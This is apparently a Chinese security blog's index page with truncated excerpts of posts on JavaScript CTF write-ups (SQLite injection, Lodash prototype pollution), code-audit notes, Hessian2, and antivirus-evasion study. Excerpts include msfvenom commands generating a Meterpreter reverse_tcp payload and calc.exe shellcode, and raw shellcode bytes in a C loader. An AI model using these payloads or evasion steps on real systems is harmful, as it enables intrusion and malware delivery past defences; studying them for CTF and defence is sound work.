[JS专项训练]课后作业34
timetodraw123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960const express = require("express");const cookieParser = require('cookie-parser')var crypto = require('crypto');const secret = require("./secret");const app = express();app.use(cookieParser(secret.FLAG));let canvas = { ...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))};const hash = (token) => ...
JS代码审计[二] 学习笔记
JS面向对象机制JavaScript是一种面向对象编程的语言,这意味着它可以使用对象来封装数据和行为,从而实现代码的复用和扩展。对象是由属性和方法组成的,属性是对象的特征,方法是对象的行为。JavaScript中有两种创建对象的方式:字面量和构造函数。
字面量12345678910111213141516171819// 创建一个名为person的对象var person = { // 属性:name, age, gender name: "张三", age: 20, gender: "男", // 方法:sayHello, introduce sayHello: function() { console.log("你好,我叫" + this.name); }, introduce: function() { console.log("我是" + this.gender + "生,今年" + this.age + &qu ...
[免杀学习]网络查杀与规避
终于摸到一点免杀的门了,前面学那么多win api编程都是在打基础
前排提醒:这篇文章不会讲什么理论的东西,因为本人也刚接触免杀,基本没有什么免杀知识,所以只是把当前学到的东西复现一遍
网络查杀一般来说,杀毒软件对于网络流量的查杀分为以下4步:
拦截网络流量:杀毒软件可以利用驱动程序或者代理服务器等方式,拦截网络上的数据包,包括进出本地机器的流量和局域网内的流量。
解析网络流量:杀毒软件可以根据数据包的协议类型,对其进行解析,提取出有用的信息,如源地址、目的地址、端口号、应用程序、内容等。
分析网络流量:杀毒软件可以根据预设的规则或者算法,对网络流量进行分析,判断是否存在异常或者恶意的行为,如木马传输等。
处理网络流量:杀毒软件可以根据分析结果,对网络流量进行相应的处理,如放行、拦截、隔离、报警等。
本篇文章设计的免杀操作很简单,只涉及到MSF
直接进行文件传输(无任何免杀操作)
环境:
受害者主机:win10
控制端:Kali
第一步:MSF生成马1msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.4 ...
[免杀学习]杀毒软件扫描浅析(下)
下篇较上篇所讲述的内存属性,内容的扫描来说相对简单,也比较好理解
文件内容扫描
首先创建一个txt文档,随便写点内容,比如1234567890
源代码12345678910111213141516171819202122232425262728#include <windows.h>#include <iostream>using namespace std;//定义一个OVERLAPPED结构体变量,并且把它的所有成员都初始化为0OVERLAPPED __Overlapped = { 0 };void main(){ unsigned long lpNumber = 0; char lpBuffer[100] = ""; char IP_path[] = "num.txt"; __Overlapped.Offset = 8; HANDLE hFile = CreateFile(IP_path,GENERIC_READ,0,NULL,OPEN_EXISTING, ...
[JS专项训练]课后作业1WP
所需知识SQLite注释符121'/*1'--
题目:secure123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130const crypto = require('crypto');const express = require('express');const db = require('better-sqlite3')('db.sqlite3');db.exec(`DROP ...
[JS专项训练]课后作业1WP
所需知识CVE-2019-10744
Lodash 是一个 JavaScript 库,其中defaultsDeep在Lodash<4.17.12的版本下可能会造成全局的原型链污染
这里我选择4.17.11版本的Lodash库
1npm install Lodash@4.17.11
defaultsDeep方法defaultsDeep用来合并两个对象,并且会递归的操作
12345678910111213141516171819const _ = require("lodash")var a={"name":"a","age": 22,"hobby":["跑步","玩游戏"],family:{"father":"Sam"}}var b={"name":"b","age": 20,"ho ...
JS代码审计[一] 学习笔记
首先感谢星盟安全团队和
变量javascript变量声明有3种方式,var,let,const
对于var变量,存在一种机制:声明提升
声明提升JS中的变量提升指的是在代码执行前,变量声明就已经被提升(即复制)到了当前作用域的最顶部。这是因为JS引擎在编译的时候,就将所有的变量声明了,因此在执行的时候,所有的变量都已经完成声明
举例:
123console.log(a)var a="lanb0"//输出:undefined
实际执行情况:
123var aconsole.log(a)a="lanb0"
补充:js会将变量的声明提升到js顶部执行,对于var a = 2这种语句,会拆分开,将var a这步进行提升。
变量提升的本质其实是js引擎在编译的时候,就将所有的变量声明了,因此在执行的时候,所有的变量都已经完成声明。
当有多个同名变量的时候,函数声明会覆盖其他的声明。如果有多个函数声明,则由最后一个函数声明覆盖之前的所有声明。
而对于let和const,就不存在变量提升,
123console.log(a)let a=& ...
[免杀学习]杀毒软件扫描浅析(上)
本篇文章站在杀毒软件的角度,来简单梳理一下杀软扫描常用的4种方式,分别是内存内容扫描,内存属性扫描,注册表监控,二进制内容扫描其中比较难的是内存扫描,但是还是放在上篇写了,呃呃
本篇文章均以C++为编程语言
内存内容扫描源代码:
1234567891011121314151617181920212223242526272829303132333435363738#include <stdio.h>#include <Windows.h>#include <iostream>#include <iomanip>using namespace std;void main() { STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hProcess = NULL; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcess("tes ...
初步了解Hessian2
前言:打完SCTF准备复现hellojava,发现之前学的那点链子根本不够用,在学一个新的链子之前,先把它本身了解一下比较好
什么是Hessian2官方解答:
The Hessian binary web service protocol makes web services usable without requiring a large framework, and without learning yet another alphabet soup of protocols. Because it is a binary protocol, it is well-suited to sending binary data without any need to extend the protocol with attachments.
总结一下,Hessian是一种用于在网络上交换数据和调用远程方法的二进制协议,它可以在不同的语言和平台之间实现互操作性。它使用了一种简单而高效的二进制编码格式,可以支持复杂的对象和集合,而不需要额外的元数据或模式定义。Hessian可以作为 ...
[免杀学习]shellcode的使用
刚开始学免杀,想直接分析shellcode的话对我来说有点难,所以先学会如何使用别人写好的shellcode
ShellCode准备MSF生成的在x64的win环境下打开calc.exe的shellcode
1msfvenom -p windows/x64/exec CMD=calc.exe -f c
完整代码12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667#include <windows.h>#include <stdio.h>unsigned char buf[] ="\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50""\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52""\ ...